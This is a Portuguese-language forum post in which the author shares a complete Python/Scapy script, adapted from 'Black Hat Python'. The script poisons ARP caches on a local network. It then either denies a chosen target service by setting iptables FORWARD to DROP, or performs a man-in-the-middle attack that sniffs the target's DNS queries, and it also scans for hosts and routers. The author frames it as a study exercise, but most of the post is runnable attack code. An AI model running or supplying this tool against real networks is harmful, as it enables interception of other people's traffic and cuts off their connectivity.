Jump to content

DoS, MITM com sniff DNS, com Scapy


Guest gnoo

Recommended Posts

Posted

Saudações,

recentemente andava ver um código do livro Black hat python programming for hackers and pentesters, e encontrei lá um capítulo onde falava de ARP Spoofing, e comecei a ler o código, o seu conteúdo explica a fazer a alteração da cache ARP reestruturar a rede e a armazenar os resultado dos pacotes em .pcap... mas houve uma falha naquela explicação, ele fala sobre alterar o valor do módulo ip_forward para 1, mas não fala sobre as regras do iptables, vamos imaginar que quem segue aquele conteúdo não sabe que o Chain FORWARD policy tem que estar como ACCEPT, e está definido como DROP, na prática o que ele vai estar a fazer é um negação de serviço, em vez de deixar passar o tráfego, foi uma falha naquele capitulo...

 

Eu agarrei o código dele, nas funções principais, retirei a parte em que cria o ficheiro .pcap, acrescentei funções minhas e automatizei algumas tarefas.

A minha versão tem:

alteração da cache ARP 

reestruturação da rede

Obter MAC dos Hosts e Router

Ataque DoS em que é definida a regra Chain FORWARD policy para DROP   

MITM em que é definida a regra Chain FORWARD policy para ACCEPT

Scan ARP para procurar hosts na rede em varias fases do programa, na saida de dados dá IP MAC e Hostname dos mesmos

Numa fase inicial tentar encontrar um ou mais routers na rede. ( sem certeza que encontra mais que um porque não tinha outro router nem Switcher para experimentar, pelo menos um encontra de certeza ).

Detecta todas as placas de rede na máquina, com valores de pacotes enviados e recebidos em cada uma das placas de rede

Dessas placas de rede recebemos dados como IP Broadcast netmask etc..

E mais algumas coisas que não me lembro

Vê requisições DNS durante o MITM

 

E mais algumas coisas que não me lembro.

Vou dar continuidade a este código para juntar outras funcionalidades, assim permite-me estudar outras coisas.

O interessante de fazer um programa destes, não é porque a ferramenta em si seja extraordinária, mas sim o exercício e o que ele te permite aprender, especialmente no que toca a redes e algumas bibliotecas interessantes do python que nos facilitam bastante a vida.

Como é óbvio criticas são SEMPRE bem vindas ! 

 

Segue o código:

#!/usr/bin/env python3

import sys
import os
import time
import socket
import re

try:
    from scapy.all import *
except:
    print("O módulo scapy não está instalado")
    
try:
    import psutil
except:
    print("O módulo psutil não está instalado !")

try:
    import netifaces
except:
    print("O módulo netifaces não está instalado !")


def restaura_target(router_ip, router_mac, target_ip, target_mac):

    print("A restaurar target...")
    send(ARP(op = 2, psrc = router_ip, pdst = target_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = router_mac), count = 5)
    send(ARP(op = 2, psrc = target_ip, pdst = router_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = target_mac), count = 5)


def get_mac(endereco_ip):
    try:
        resposta, nao_resposta = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = endereco_ip), timeout = 2, retry = 10)

        # Retorna o endereço MAC de uma resposta

        for s, r in resposta:

            return r[Ether].src

            return None
    except:
        pass

def Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac):

    arp_target = ARP()
    arp_target.op = 2
    arp_target.psrc = router_ip
    arp_target.pdst = target_ip
    arp_target.hwdst = target_mac

    arp_router = ARP()
    arp_router.op = 2
    arp_router.psrc = target_ip
    arp_router.pdst = router_ip
    arp_router.hwdst = router_mac

    

    print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]")

    while True:
        try:
            send(arp_target)
            send(arp_router)
    
            sniff(iface = interface, filter = "port 53", prn = dns_sniff, store = 0)
        except KeyboardInterrupt:
            
            restaura_target(router_ip, router_mac, target_ip, target_mac)
            print("Ataque ARP terminado.")
            with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward:
                ip_forward.write("0")

            time.sleep(2)
            print("A reiniciar...\n ")
            os.execl(sys.executable, sys.executable, *sys.argv)

def Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac):

    arp_target = ARP()
    arp_target.op = 2
    arp_target.psrc = router_ip
    arp_target.pdst = target_ip
    arp_target.hwdst = target_mac

    arp_router = ARP()
    arp_router.op = 2
    arp_router.psrc = target_ip
    arp_router.pdst = router_ip
    arp_router.hwdst = router_mac

    

    print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]")

    while True:
        try:
            send(arp_target)
            send(arp_router)
    
            
        except KeyboardInterrupt:
            
            restaura_target(router_ip, router_mac, target_ip, target_mac)
            print("Ataque ARP terminado.")
            with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward:
                ip_forward.write("0")

            time.sleep(2)
            print("A reiniciar...\n ")
            os.execl(sys.executable, sys.executable, *sys.argv)

def input_dados_Dos():
    lista_resposta_sim = ["s","sim","SIM"]
    lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"]
    while True:
        resp_scan = input("Queres localizar Hosts na rede ? [s/n] ")
        if not resp_scan:
            print("Não foi obtida qualquer resposta.. Responde [s/n] ")
        elif resp_scan in lista_resposta_sim:
            scan_arp_hosts(ip_tupla)
            break
        elif resp_scan in lista_resposta_nao:
            break
        else:
            print("{} não é uma resposta válida !".format(resp_scan))
    
  
    target_ip = input("Inserir DoS TARGET -> ")
    
    target_mac = get_mac(target_ip)

    if target_mac is None:
        print("Falhou resolver MAC em {}".format(target_ip))
        sys.exit(0)
    else:
        print("Target {} em {}".format(target_ip, target_mac))
        Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac)
            
        

def input_dados_MITM():
    lista_resposta_sim = ["s","sim","SIM"]
    lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"]
    while True:
        resp_scan = input("Queres localizar Hosts na rede ? [s/n] ")
        if not resp_scan:
            print("Não foi obtida qualquer resposta.. Responde [s/n] ")
        elif resp_scan in lista_resposta_sim:
            scan_arp_hosts(ip_tupla)
            break
        elif resp_scan in lista_resposta_nao:
            break
        else:
            print("{} não é uma resposta válida !".format(resp_scan))
    target_ip = input("Inserir MITM TARGET -> ")
    
    
    target_mac = get_mac(target_ip)

    if target_mac is None:
        print("Falhou resolver MAC em {}".format(target_ip))
        sys.exit(0)
    else:
        print("Target {} em {}".format(target_ip, target_mac))
        Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac)

def scan_arp_hosts(ip_tupla):
    print("A procurar hosts na rede ARP Scanner... Aguardar...")
    print("Em espera, ARP Reply...")
    resp, sem_resp = srp(Ether(dst= "ff:ff:ff:ff:ff:ff")/ARP(pdst = "{0[0]}".format(ip_tupla) + "/24"), timeout = 2, iface = "{0[1]}".format(ip_tupla), inter =0.1)
    print("Atividade na rede:")
    for snd, rcv in resp:
        hostname_na_rede = socket.getfqdn(rcv.sprintf(r"%ARP.psrc%"))
        print(rcv.sprintf(r"Host: %ARP.psrc% - MAC: %Ether.src% - ") + hostname_na_rede)

    return hostname_na_rede, rcv.sprintf(r"%ARP.psrc%")

def devolve_ip_router(ip_tupla):

    ip_router_lista = []
        
    for itens in ip_tupla:
        if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)):
            ip_router_lista.append(itens)

    for ip in ip_router_lista:
        router_hostname = socket.getfqdn(ip)
        print("ROUTER detetado - {} - {}".format(ip, router_hostname))

def devolve_host_local(ip_tupla):
    dados = netifaces.ifaddresses("{0[1]}".format(ip_tupla))
    dicionario_dados = dados[netifaces.AF_INET][0]
    
    return socket.gethostname(), dicionario_dados["addr"]

def informacao_geral():
     
    identifica_ip_router = netifaces.gateways()
    ip_tupla = identifica_ip_router[netifaces.AF_INET][0]

    
    devolve_ip_router(ip_tupla)

    print("NIC detetado :")
    interfaces_e_info = psutil.net_io_counters(pernic = True)
    lista_interface = []
    for dados in interfaces_e_info:
        if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"):
            pass
        else:
            lista_interface.append(dados)

    for info_nic in lista_interface:
        print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3]))

    print("NIC em uso -> {0[1]}".format(ip_tupla))

    scan_arp_hosts(ip_tupla)
    

def dns_sniff(pacote):
    
    if IP in pacote:
        ip_source = pacote[IP].src
        ip_destino = pacote[IP].dst
        if pacote.haslayer(DNS) and pacote.getlayer(DNS).qr == 0:
            if ip_source == ip_host_local:
                pass
            else:
                return  "TARGET: {} - ROUTER: {} - DNS: {}".format(ip_source, ip_destino, pacote.getlayer(DNS).qd.qname.decode())

       

def main():
    if os.geteuid() != 0:
        print("O programa deve ser executado como root !")
        sys.exit(0)

    with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: # Altera valor módulo ip_forward para 1
        ip_forward.write("1")

    interfaces_e_info = psutil.net_io_counters(pernic = True) # Recebe info todas NIC's detectadas
    """
    bytes_sent, bytes_recv, packets_sent, packets_recv,
    errin, errout, dropin, dropout
    """

    identifica_ip_router = netifaces.gateways() # Retorna um dicionário com IP do router e interface NIC rede atual

    global ip_tupla
    ip_tupla = identifica_ip_router[netifaces.AF_INET][0]# retorna uma tupla com o ip do router e a interface da placa de rede atual em uso

    ip_router_lista = [] # Recebe IP router detectado na tupla
    
    
    for itens in ip_tupla:
        if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)): # Procura arquitetura ip na tupla
            ip_router_lista.append(itens)
    """
    O ciclo for anterior com a linha 'if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)):', foi pensado no caso de
    haver mais do que um router ignorando a interface NIC.
    """

    global ip_host_local
    hostname, ip_host_local  = devolve_host_local(ip_tupla) # Detecta o IP classe C da máquina local o seu hostname 

    print("\nNIC detetado :")
    
    lista_interface = []
    for dados in interfaces_e_info:
        if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"): #Ignora interface loopback
            """
            Podemos admitir que com nomes de interfaces que iniciam e terminam com caracteres diferentes
            não ignora a interface loopback
            """                                                                                                  
            pass                                                                                              
        else:
            lista_interface.append(dados)

    for info_nic in lista_interface:
        print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3])) #Retrona atividade pacotes no NIC 
        """
        O objetivo de obter pacotes recebidos e enviados, é perceber qual a interface que tem actividade e que vamos analisar o tráfego que lá passa
        """
    print("NIC em uso -> {0[1]} em {1} - {2}".format(ip_tupla, ip_host_local, hostname)) # identifica NIC em uso, IP host local e o seu hostname

    mais_info_nic = psutil.net_if_addrs()

    # Escolhemos a interface que vamos fazer passar o tráfego para observação, em simultâneo detecta a existência da interface no sistema
    # na lista_interface
    try:
        while True:

            global interface
            
            interface = input("NIC para escuta -> ")
            if not interface:
                print("NIC não foi selecionado !")
            elif interface not in lista_interface:
                print("{} não está disponivel !".format(interface))
            else:
                print("[*] A preparar a interface {}".format(interface))
                # Define a nossa interface
                conf.iface = interface
                # Mais info sobre NIC escolhido
                lista_mais_info_nic_INET = list(mais_info_nic[interface][0]) # info IPV4
                lista_mais_info_nic_INET6 = list(mais_info_nic[interface][1]) # info IPV6
                lista_mais_info_nic_LINK = list(mais_info_nic[interface][2]) # info Ethernet
                print("NIC: {} info :".format(interface))
                print("inet: {} netmask: {} broadcast: {} ".format(lista_mais_info_nic_INET[1], lista_mais_info_nic_INET[2], lista_mais_info_nic_INET[3]))
                print("inet6: {} netmask: {} broadcast: {}".format(lista_mais_info_nic_INET6[1], lista_mais_info_nic_INET6[2], lista_mais_info_nic_INET6[3]))
                print("link: {} netmask: {} broadcast: {}\n".format(lista_mais_info_nic_LINK[1], lista_mais_info_nic_LINK[2], lista_mais_info_nic_LINK[3]))
                break
    except KeyboardInterrupt:
        print("\nOperação terminada !")
        sys.exit(0)


    conf.verb = 0 # Desabilita verbose de string originado pelo scapy 

    global router_mac
    global router_ip

    time.sleep(1)

    # Detecta router na lista ip_router_lista 
    print("-> ROUTER detetado :")
    for r_ip in ip_router_lista:
        
        print(r_ip + " - {}".format(socket.getfqdn(r_ip))) # retorna IP e hostname router

    # Escolhemos o router detectado, em simultâneo detecta a existência do router na lista ip_router_lista
    """
    Esta tarefa pode ser automatizada, é valida se estivermos a pensar em detectar mais que um router, e escolher um para conexão
    """
    while True:
        try:
            
            router_ip = input("IP router -> ")
            if not router_ip:
                print("Router não selecionado !")
            elif router_ip not in ip_router_lista:
                print("ROUTER {} não está disponivel !".format(router_ip))
                print("-> detetado ROUTER :")
                for r_ip in ip_router_lista:
                    print(r_ip)
            else:
                break
        except KeyboardInterrupt:
            print("\nOperação terminada !")
            sys.exit(0)

    
    router_mac = get_mac(router_ip) # Retorna MAC router

    contador = 0
    # Faz vária tentativas para resolver MAC router
    while contador < 4:
        try:
            if router_mac is None:
                print("Falhou a resolver MAC ROUTER em {}  Tentar novamente...  ".format(router_ip))
                router_mac = get_mac(router_ip)
                if contador == 3:
                    print("Ultima tentativa a resolver MAC ROUTER em {} ! Preparar para sair...".format(router_ip))
                    router_mac = get_mac(router_ip)
                    print("Não conseguiu resolveu MAC ROUTER em {} ".format(router_ip))
                    sys.exit(0)
        
            else:
                print("Resultado:")
                print("ROUTER: {}  MAC: {} - {}\n".format(router_ip, router_mac, socket.getfqdn(router_ip)))
                break
            contador += 1
        except KeyboardInterrupt:
            print("Operação terminada pelo usuário... A sair")
            sys.exit(0)
    print("A iniciar (cmd)...")
    time.sleep(1)

    print("Utilização cmd... sabe mais com -> Help / -h\n")
    while True:
        try:
            
            comando = input("(cmd)>>> ")
            if comando == "Dos":
                os.system("iptables -P FORWARD DROP") # Define regra iptables Chain FORWARD policy DROP, deixa "cair" pacotes
                input_dados_Dos()
            elif comando == "MITM":
                os.system("iptables -P FORWARD ACCEPT") # Define regra iptables Chain FORWARD policy ACCEPT, deixa passar tráfego no NIC
                input_dados_MITM()
            elif comando == "restart":
                os.execl(sys.executable, sys.executable, *sys.argv) # Reinicia programa 
            elif comando == "exit":
                sys.exit(0)
            elif comando == "info":
                informacao_geral() # Dá info sobre NIC detectados, ROUTER detectados, e hosts ativos na rede com scan ARP
            elif comando == "help" or comando == "-h":
                print("Comandos disponiveis:")
                print("-> Dos   (Denial of Service)")
                print("-> MITM  (Man in The Middle)")
                print("-> info  (Informação Geral)")
                print("-> help / -h (Informação sobre cmd)")
                print("-> restart")
                print("-> exit")
                
            else:
                print("Comando \033[1;33m{}\033[00m não está disponivel, mais info: 'help' / '-h' ".format(comando))
                
        except KeyboardInterrupt:
            print("\nOperação terminada !")
            sys.exit(0)
    

    
if __name__ == '__main__':
    main()

Obrigado

 

 

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...